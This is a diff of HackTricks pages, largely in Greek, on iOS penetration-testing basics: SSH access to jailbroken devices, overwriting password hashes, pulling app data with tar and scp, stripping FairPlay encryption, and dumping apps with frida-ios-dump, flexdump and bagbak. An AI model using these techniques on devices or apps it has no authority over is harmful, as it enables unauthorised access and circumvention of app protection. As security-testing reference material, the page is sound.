* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Βασικές Λειτουργίες Δοκιμής iOS
# iOS Basic Testing Operations
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Περίληψη Αναγνώρισης και Πρόσβασης Συσκευής iOS**
## **Summary of iOS Device Identification and Access**
### **Αναγνώριση του UDID μιας συσκευής iOS**
### **Identifying the UDID of an iOS Device**
Για να αναγνωρίσουμε μοναδικά μια συσκευή iOS, χρησιμοποιείται μια 40-ψήφια ακολουθία που ονομάζεται UDID. Στο macOS Catalina ή νεότερο, μπορεί να βρεθεί στην εφαρμογή **Finder**, καθώς το iTunes δεν υπάρχει πλέον. Η συσκευή, αφού συνδεθεί μέσω USB και επιλεγεί στο Finder, αποκαλύπτει το UDID της μαζί με άλλες πληροφορίες όταν κάνουμε κλικ στις λεπτομέρειες κάτω από το όνομά της.
Για να προσδιορίσετε μοναδικά μια συσκευή iOS, χρησιμοποιείται μια ακολουθία 40 ψηφίων γνωστή ως UDID. Στο macOS Catalina ή νεότερο, αυτό μπορεί να βρεθεί στην **εφαρμογή Finder**, καθώς το iTunes δεν είναι πλέον παρόν. Η συσκευή, μόλις συνδεθεί μέσω USB και επιλεγεί στο Finder, αποκαλύπτει το UDID της μεταξύ άλλων πληροφοριών όταν κάνετε κλικ στις λεπτομέρειες κάτω από το όνομά της.
Για εκδόσεις του macOS πριν από το Catalina, το iTunes διευκολύνει την ανακάλυψη του UDID. Λεπτομερείς οδηγίες μπορούν να βρεθούν [εδώ](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Για εκδόσεις του macOS πριν από το Catalina, το iTunes διευκολύνει την ανακάλυψη του UDID. Λεπτομερείς οδηγίες μπορείτε να βρείτε [εδώ](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Εργαλεία γραμμής εντολών προσφέρουν εναλλακτικές μεθόδους για την ανάκτηση του UDID:
Τα εργαλεία γραμμής εντολών προσφέρουν εναλλακτικές μεθόδους για την ανάκτηση του UDID:
* **Χρήση του εργαλείου I/O Registry Explorer `ioreg`:**
* **Using I/O Registry Explorer tool `ioreg`:**
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
```
* **Χρήση του `ideviceinstaller` για macOS (και Linux):**
* **Χρησιμοποιώντας το `ideviceinstaller` για macOS (και Linux):**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
```
* **Χρήση του `system_profiler`:**
* **Χρησιμοποιώντας το `system_profiler`:**
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Χρήση του `instruments` για να εμφανιστούν οι συσκευές:**
* **Χρησιμοποιώντας `instruments` για να καταγράψετε συσκευές:**
```bash
$ instruments -s devices
```
### **Πρόσβαση στο Shell της Συσκευής**
Η **πρόσβαση μέσω SSH** ενεργοποιείται εγκαθιστώντας το πακέτο **OpenSSH** μετά την απελευθέρωση της συσκευής, επιτρέποντας συνδέσεις μέσω `ssh root@<διεύθυνση_ΙΡ_συσκευής>`. Είναι κρίσιμο να αλλάξετε τους προεπιλεγμένους κωδικούς (`alpine`) για τους χρήστες `root` και `mobile` για να ασφαλίσετε τη συσκευή.
Η **πρόσβαση SSH** ενεργοποιείται με την εγκατάσταση του **πακέτου OpenSSH** μετά το jailbreak, επιτρέποντας συνδέσεις μέσω `ssh root@<device_ip_address>`. Είναι κρίσιμο να αλλάξετε τους προεπιλεγμένους κωδικούς πρόσβασης (`alpine`) για τους χρήστες `root` και `mobile` για να ασφαλίσετε τη συσκευή.
Η **SSH μέσω USB** γίνεται απαραίτητη σε περίπτωση που δεν υπάρχει Wi-Fi, χρησιμοποιώντας το `iproxy` για την αντιστοίχιση των θυρών της συσκευής για συνδέσεις SSH. Αυτή η ρύθμιση επιτρέπει την πρόσβαση μέσω SSH μέσω USB εκτελώντας:
Η **SSH μέσω USB** γίνεται απαραίτητη στην απουσία Wi-Fi, χρησιμοποιώντας το `iproxy` για να χαρτογραφήσετε τις θύρες της συσκευής για συνδέσεις SSH. Αυτή η ρύθμιση επιτρέπει την πρόσβαση SSH μέσω USB εκτελώντας:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
**Εφαρμογές κέλυφου στη συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμη για την επίλυση προβλημάτων. Μπορούν επίσης να δημιουργηθούν **αντίστροφα κέλυφα SSH** για απομακρυσμένη πρόσβαση από τον υπολογιστή του χρήστη.
**Εφαρμογές shell σε συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμες για την αντιμετώπιση προβλημάτων. **Reverse SSH shells** μπορούν επίσης να δημιουργηθούν για απομακρυσμένη πρόσβαση από τον υπολογιστή φιλοξενίας.
### **Επαναφορά Ξεχασμένων Κωδικών Πρόσβασης**
Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης στην προεπιλεγμένη τιμή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος κατακερματισμένου κωδικού με τον κατακερματισμένο κωδικό για το `alpine` δίπλα από τις καταχωρήσεις των χρηστών `root` και `mobile`.
Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης πίσω στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
## **Τεχνικές Μεταφοράς Δεδομένων**
### **Μεταφορά Αρχείων Δεδομένων Εφαρμογής**
**Αρχειοθέτηση και Ανάκτηση μέσω SSH και SCP:** Είναι απλό να αρχειοθετήσετε τον κατάλογο Δεδομένων της εφαρμογής χρησιμοποιώντας την εντολή `tar` και στη συνέχεια να το μεταφέρετε χρησιμοποιώντας την εντολή `scp`. Η παρακάτω εντολή αρχειοθετεί τον κατάλογο Δεδομένων σε ένα αρχείο .tgz, το οποίο στη συνέχεια αντλείται από τη συσκευή:
**Αρχειοθέτηση και Ανάκτηση μέσω SSH και SCP:** Είναι απλό να αρχειοθετήσετε τον κατάλογο Δεδομένων της εφαρμογής χρησιμοποιώντας `tar` και στη συνέχεια να τον μεταφέρετε χρησιμοποιώντας `scp`. Η παρακάτω εντολή αρχειοθετεί τον κατάλογο Δεδομένων σε ένα αρχείο .tgz, το οποίο στη συνέχεια αποσύρεται από τη συσκευή:
```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Εργαλεία Γραφικού Περιβάλλοντος**
### **Εργαλεία Γραφικής Διεπαφής**
**Χρήση των iFunbox και iExplorer:** Αυτά τα εργαλεία γραφικού περιβάλλοντος είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4 και μετά, η Apple περιόρισε την πρόσβαση αυτών των εργαλείων στον αποθηκευτικό χώρο των εφαρμογών, εκτός αν η συσκευή έχει γίνει jailbreak.
**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox της εφαρμογής εκτός αν η συσκευή είναι jailbroken.
### **Χρήση του Objection για τη Διαχείριση Αρχείων**
### **Χρησιμοποιώντας το Objection για Διαχείριση Αρχείων**
**Διαδραστική Κέλυφος με το Objection:** Με την εκκίνηση του Objection, έχετε πρόσβαση στον φάκελο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον φάκελο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και αποστολής τους από και προς τη συσκευή iOS.
**Διαδραστική Γραμμή Εντολών με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον φάκελο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον φάκελο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -80,60 +81,60 @@ file download <filename>
```
## **Απόκτηση και Εξαγωγή Εφαρμογών**
### **Απόκτηση του αρχείου IPA**
### **Απόκτηση του Αρχείου IPA**
**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για τεστ μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο λήψης αρχείων ITMS services asset downloader, το οποίο εγκαθίσταται μέσω του npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader περιουσιακών στοιχείων υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **Εξαγωγή του δυαδικού αρχείου της εφαρμογής**
### **Εξαγωγή του Δυαδικού Αρχείου της Εφαρμογής**
1. **Από ένα IPA:** Αποσυμπιέστε το IPA για να έχετε πρόσβαση στο αποκρυπτογραφημένο δυαδικό αρχείο της εφαρμογής.
2. **Από μια συσκευή με Jailbreak:** Εγκαταστήστε την εφαρμογή και εξαγάγετε το αποκρυπτογραφημένο δυαδικό αρχείο από τη μνήμη.
1. **Από ένα IPA:** Αποσυμπιέστε το IPA για να αποκτήσετε πρόσβαση στο αποκρυπτογραφημένο δυαδικό αρχείο της εφαρμογής.
2. **Από μια Jailbroken Συσκευή:** Εγκαταστήστε την εφαρμογή και εξαγάγετε το αποκρυπτογραφημένο δυαδικό αρχείο από τη μνήμη.
### **Διαδικασία αποκρυπτογράφησης**
### **Διαδικασία Αποκρυπτογράφησης**
**Επισκόπηση της χειροκίνητης αποκρυπτογράφησης:** Τα δυαδικά αρχεία των εφαρμογών iOS κρυπτογραφούνται από την Apple χρησιμοποιώντας το FairPlay. Για να αναστρέψετε τη διαδικασία, πρέπει να αποθηκεύσετε το αποκρυπτογραφημένο δυαδικό αρχείο από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, τον εντοπισμό του κρυπτογραφημένου τμήματος και στη συνέχεια την αποθήκευση και αντικατάσταση αυτού του τμήματος με την αποκρυπτογραφημένη του μορφή.
**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας το FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογράφησης.
**Έλεγχος και τροποποίηση της σημαίας PIE:**
**Έλεγχος και Τροποποίηση Σημαίας PIE:**
```bash
otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
```
**Αναγνώριση Κρυπτογραφημένης Ενότητας και Αποθήκευση Μνήμης:**
**Εντοπισμός Κρυπτογραφημένου Τμήματος και Εκχύλιση Μνήμης:**
Προσδιορίστε τις αρχικές και τελικές διευθύνσεις της κρυπτογραφημένης ενότητας χρησιμοποιώντας το `otool` και αποθηκεύστε τη μνήμη από την jailbroken συσκευή χρησιμοποιώντας το gdb.
Καθορίστε τις διευθύνσεις έναρξης και λήξης του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
```
**Αντικατάσταση της Κρυπτογραφημένης Ενότητας:**
Αντικαταστήστε την κρυπτογραφημένη ενότητα στον αρχικό δυαδικό κώδικα της εφαρμογής με την αποκρυπτογραφημένη αντιγραφή.
Αντικαταστήστε την κρυπτογραφημένη ενότητα στο αρχικό δυαδικό αρχείο της εφαρμογής με την αποκρυπτογραφημένη εκφόρτιση.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
**Ολοκλήρωση Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ορίζοντας το `cryptid` σε 0.
**Ολοκλήρωση Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ρυθμίζοντας το `cryptid` σε 0.
### **Αποκρυπτογράφηση (Αυτόματα)**
#### **frida-ios-dump**
Το εργαλείο [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) χρησιμοποιείται για την **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμίσετε το `dump.py` για να συνδεθεί με τη συσκευή iOS, που μπορεί να γίνει μέσω του localhost στη θύρα 2222 μέσω **iproxy** ή απευθείας μέσω της IP διεύθυνσης και της θύρας της συσκευής.
Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στην πόρτα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της πόρτας.
Οι εφαρμογές που είναι εγκατεστημένες στη συσκευή μπορούν να εμφανιστούν με την εντολή:
Οι εφαρμογές που είναι εγκατεστημένες στη συσκευή μπορούν να απαριθμηθούν με την εντολή:
```bash
$ python dump.py -l
```
Για να αντλήσετε πληροφορίες από μια συγκεκριμένη εφαρμογή, όπως το Telegram, χρησιμοποιείται η παρακάτω εντολή:
Για να εκτελέσετε dump μιας συγκεκριμένης εφαρμογής, όπως το Telegram, χρησιμοποιείται η εξής εντολή:
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
```
Αυτή η εντολή ξεκινά την αποθήκευση της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα κατάλογο. Αυτή η διαδικασία είναι κατάλληλη για συσκευές με jailbreak, καθώς μη υπογεγραμμένες ή πλαστές εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
Αυτή η εντολή ξεκινά τη διαδικασία dump της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα φάκελο. Αυτή η διαδικασία είναι κατάλληλη για jailbroken συσκευές, καθώς οι μη υπογεγραμμένες ή ψευδώς υπογεγραμμένες εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
#### **flexdecrypt**
Το εργαλείο [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν το κατέβασμα και την εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για την εμφάνιση και αποθήκευση εφαρμογών, όπως φαίνεται στις παρακάτω εντολές:
Το εργαλείο [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -141,35 +142,33 @@ flexdump list
flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), ένα ακόμα εργαλείο βασισμένο στο Frida, απαιτεί ένα jailbroken συσκευή για την αποκρυπτογράφηση των εφαρμογών:
[**bagbak**](https://github.com/ChiChou/bagbak), ένα άλλο εργαλείο βασισμένο στο Frida, απαιτεί μια jailbroken συσκευή για την αποκρυπτογράφηση εφαρμογών:
```bash
bagbak --raw Chrome
```
#### **r2flutch**
Το **r2flutch**, χρησιμοποιώντας τόσο το radare όσο και το frida, χρησιμεύει για την αποκρυπτογράφηση και την αποθήκευση εφαρμογών. Περισσότερες πληροφορίες μπορούν να βρεθούν στην [**σελίδα του GitHub**](https://github.com/as0ler/r2flutch).
**r2flutch**, αξιοποιώντας τόσο το radare όσο και το frida, χρησιμοποιείται για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
### **Εγκατάσταση Εφαρμογών**
Ο όρος **sideloading** αναφέρεται στην εγκατάσταση εφαρμογών εκτός του επίσημου App Store. Αυτή η διαδικασία χειρίζεται από τον **installd daemon** και απαιτεί τις εφαρμογές να έχουν υπογραφεί με πιστοποιητικό που έχει εκδοθεί από την Apple. Οι συσκευές με jailbreak μπορούν να παρακάμψουν αυτήν τη διαδικασία μέσω του **AppSync**, επιτρέποντας την εγκατάσταση πακέτων IPA με ψευδή υπογραφή.
**Sideloading** αναφέρεται στην εγκατάσταση εφαρμογών εκτός του επίσημου App Store. Αυτή η διαδικασία διαχειρίζεται από τον **installd daemon** και απαιτεί οι εφαρμογές να είναι υπογεγραμμένες με πιστοποιητικό που έχει εκδοθεί από την Apple. Οι jailbroken συσκευές μπορούν να παρακάμψουν αυτό μέσω του **AppSync**, επιτρέποντας την εγκατάσταση ψευδώς υπογεγραμμένων πακέτων IPA.
#### **Εργαλεία Sideloading**
- **Cydia Impactor**: Ένα εργαλείο για την υπογραφή και εγκατάσταση αρχείων IPA σε iOS και αρχείων APK σε Android. Οδηγοί και αντιμετώπιση προβλημάτων μπορούν να βρεθούν στο [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Ένα εργαλείο για την υπογραφή και εγκατάσταση αρχείων IPA σε iOS και αρχείων APK σε Android. Οδηγίες και λύσεις προβλημάτων μπορείτε να βρείτε στο [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Μια βιβλιοθήκη για Linux και macOS για την επικοινωνία με συσκευές iOS. Παρέχονται εντολές εγκατάστασης και παραδείγματα χρήσης για το ideviceinstaller για την εγκατάσταση εφαρμογών μέσω USB.
- **libimobiledevice**: Μια βιβλιοθήκη για Linux και macOS για επικοινωνία με συσκευές iOS. Παρέχονται εντολές εγκατάστασης και παραδείγματα χρήσης για το ideviceinstaller για την εγκατάσταση εφαρμογών μέσω USB.
- **ipainstaller**: Αυτό το εργαλείο γραμμής εντολών επιτρέπει την άμεση εγκατάσταση εφαρμογών σε συσκευές iOS.
- **ios-deploy**: Για τους χρήστες macOS, το ios-deploy εγκαθιστά εφαρμογές iOS από τη γραμμή εντολών. Η αποσυμπίεση του IPA και η χρήση της σημαίας `-m` για την άμεση εκκίνηση της εφαρμογής είναι μέρος της διαδικασίας.
- **ios-deploy**: Για χρήστες macOS, το ios-deploy εγκαθιστά εφαρμογές iOS από τη γραμμή εντολών. Η αποσυμπίεση του IPA και η χρήση της σημαίας `-m` για άμεση εκκίνηση της εφαρμογής είναι μέρος της διαδικασίας.
- **Xcode**: Χρησιμοποιήστε το Xcode για να εγκαταστήσετε εφαρμογές πηγαίνοντας στο **Window/Devices and Simulators** και προσθέτοντας την εφαρμογή στις **Installed Apps**.
#### **Επιτρέψτε την Εγκατάσταση Εφαρμογών σε Μη-Συσκευές iPad**
Για να εγκαταστήσετε εφαρμογές που είναι σχεδιασμένες για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Ωστόσο, αυτή η τροποποίηση απαιτεί την επανυπογραφή του αρχείου IPA λόγω ελέγχων επαλήθευσης υπογραφής.
**Σημείωση**: Αυτή η μέθοδος μπορεί να αποτύχει εάν η εφαρμογή απαιτεί δυνατότητες που είναι αποκλειστικές για νεότερα μοντέλα iPad ενώ χρησιμοποιείται ένα παλαιότερο iPhone ή iPod touch.
#### **Επιτρέψτε την Εγκατάσταση Εφαρμογών σε Συσκευές που δεν είναι iPad**
Για να εγκαταστήσετε εφαρμογές που είναι ειδικές για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
**Σημείωση**: Αυτή η μέθοδος μπορεί να αποτύχει αν η εφαρμογή απαιτεί δυνατότητες που είναι αποκλειστικές για νεότερα μοντέλα iPad ενώ χρησιμοποιείτε παλαιότερο iPhone ή iPod touch.
## Αναφορές
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
@ -178,16 +177,17 @@ bagbak --raw Chrome
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Εξαγωγή Προνομίων από Μεταγλωττισμένη Εφαρμογή
# Extracting Entitlements from Compiled Application
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
